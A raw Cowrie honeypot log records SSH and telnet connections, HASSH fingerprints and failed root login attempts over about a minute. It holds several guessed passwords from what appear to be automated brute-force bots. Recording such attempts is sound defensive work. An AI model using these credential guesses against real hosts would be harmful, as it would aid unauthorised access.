{"eventid":"cowrie.session.connect","src_ip":"103.101.216.219","src_port":59202,"dst_ip":"159.203.135.109","dst_port":22,"session":"7775d051a31f","protocol":"ssh","message":"New connection: 103.101.216.219:59202 (159.203.135.109:22) [session: 7775d051a31f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:28.112495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:28.117391Z","src_ip":"103.101.216.219","session":"7775d051a31f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:28.360777Z","src_ip":"103.101.216.219","session":"7775d051a31f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"product","message":"login attempt [root/product] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:29.363232Z","src_ip":"103.101.216.219","session":"7775d051a31f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:30.609317Z","src_ip":"103.101.216.219","session":"7775d051a31f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":35974,"dst_ip":"159.203.135.109","dst_port":22,"session":"69035efe96ce","protocol":"ssh","message":"New connection: 186.4.240.226:35974 (159.203.135.109:22) [session: 69035efe96ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:31.220579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:31.225247Z","src_ip":"186.4.240.226","session":"69035efe96ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:31.309739Z","src_ip":"186.4.240.226","session":"69035efe96ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ismana2121","message":"login attempt [root/ismana2121] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:31.679988Z","src_ip":"186.4.240.226","session":"69035efe96ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:32.766113Z","src_ip":"186.4.240.226","session":"69035efe96ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":41528,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d0b12947bcd","protocol":"ssh","message":"New connection: 170.106.188.200:41528 (159.203.135.109:22) [session: 7d0b12947bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:37.835909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:37.840357Z","src_ip":"170.106.188.200","session":"7d0b12947bcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:37.907466Z","src_ip":"170.106.188.200","session":"7d0b12947bcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1a1a1a1","message":"login attempt [root/a1a1a1a1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:38.208072Z","src_ip":"170.106.188.200","session":"7d0b12947bcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:39.279026Z","src_ip":"170.106.188.200","session":"7d0b12947bcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46452,"dst_ip":"10.17.0.5","dst_port":23,"session":"09dde083d738","protocol":"telnet","message":"New connection: 192.119.13.58:46452 (10.17.0.5:23) [session: 09dde083d738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:40.421125Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":47608,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe6614475092","protocol":"ssh","message":"New connection: 51.250.105.222:47608 (159.203.135.109:22) [session: fe6614475092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:42.569836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:42.574120Z","src_ip":"51.250.105.222","session":"fe6614475092","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:42.704618Z","src_ip":"51.250.105.222","session":"fe6614475092","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:43.094608Z","src_ip":"51.250.105.222","session":"fe6614475092","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60610,"dst_ip":"10.17.0.5","dst_port":23,"session":"91f0d22a3017","protocol":"telnet","message":"New connection: 192.119.13.58:60610 (10.17.0.5:23) [session: 91f0d22a3017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:44.035123Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:44.229626Z","src_ip":"51.250.105.222","session":"fe6614475092","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38660,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9f6334c8116","protocol":"telnet","message":"New connection: 192.119.13.58:38660 (10.17.0.5:23) [session: b9f6334c8116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:45.732644Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39658,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bd3277186db","protocol":"telnet","message":"New connection: 192.119.13.58:39658 (10.17.0.5:23) [session: 6bd3277186db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:45.977291Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41278,"dst_ip":"10.17.0.5","dst_port":23,"session":"db0e78b55920","protocol":"telnet","message":"New connection: 192.119.13.58:41278 (10.17.0.5:23) [session: db0e78b55920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:46.381083Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":50396,"dst_ip":"159.203.135.109","dst_port":22,"session":"4624bc5ebd45","protocol":"ssh","message":"New connection: 87.251.79.125:50396 (159.203.135.109:22) [session: 4624bc5ebd45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:49.918874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:49.924101Z","src_ip":"87.251.79.125","session":"4624bc5ebd45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:49.998541Z","src_ip":"87.251.79.125","session":"4624bc5ebd45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm12","message":"login attempt [root/zxcvbnm12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:50.217209Z","src_ip":"87.251.79.125","session":"4624bc5ebd45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:51.294016Z","src_ip":"87.251.79.125","session":"4624bc5ebd45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47176,"dst_ip":"10.17.0.5","dst_port":23,"session":"82169ae950ae","protocol":"telnet","message":"New connection: 192.119.13.58:47176 (10.17.0.5:23) [session: 82169ae950ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:55.351210Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41148,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dcc9bdd1383","protocol":"telnet","message":"New connection: 192.119.13.58:41148 (10.17.0.5:23) [session: 2dcc9bdd1383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:01.049773Z"}
{"eventid":"cowrie.session.closed","duration":41.35560727119446,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:01.970047Z","src_ip":"192.119.13.58","session":"e4f4fadf33e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46416,"dst_ip":"10.17.0.5","dst_port":23,"session":"adff50109ea7","protocol":"telnet","message":"New connection: 192.119.13.58:46416 (10.17.0.5:23) [session: adff50109ea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:16.529773Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":58172,"dst_ip":"159.203.135.109","dst_port":22,"session":"b240e9007b31","protocol":"ssh","message":"New connection: 103.176.20.57:58172 (159.203.135.109:22) [session: b240e9007b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:18.159641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:18.165208Z","src_ip":"103.176.20.57","session":"b240e9007b31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:18.417180Z","src_ip":"103.176.20.57","session":"b240e9007b31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"compaq","message":"login attempt [root/compaq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:19.184591Z","src_ip":"103.176.20.57","session":"b240e9007b31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:20.444667Z","src_ip":"103.176.20.57","session":"b240e9007b31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.70640325546265,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:21.741436Z","src_ip":"192.119.13.58","session":"91f0d22a3017","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41002,"dst_ip":"10.17.0.5","dst_port":23,"session":"9875159df102","protocol":"telnet","message":"New connection: 192.119.13.58:41002 (10.17.0.5:23) [session: 9875159df102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:22.280238Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":43830,"dst_ip":"159.203.135.109","dst_port":22,"session":"726ea09c7ffe","protocol":"ssh","message":"New connection: 109.237.96.109:43830 (159.203.135.109:22) [session: 726ea09c7ffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:23.195312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:23.200116Z","src_ip":"109.237.96.109","session":"726ea09c7ffe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:23.291352Z","src_ip":"109.237.96.109","session":"726ea09c7ffe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.52051568031311,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:23.497705Z","src_ip":"192.119.13.58","session":"6bd3277186db","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz1qaz","message":"login attempt [root/1qaz1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:23.566159Z","src_ip":"109.237.96.109","session":"726ea09c7ffe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.770771503448486,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:24.191762Z","src_ip":"192.119.13.58","session":"09dde083d738","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.71982550621033,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:24.452319Z","src_ip":"192.119.13.58","session":"b9f6334c8116","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:12:24.660139Z","src_ip":"109.237.96.109","session":"726ea09c7ffe","protocol":"ssh"}
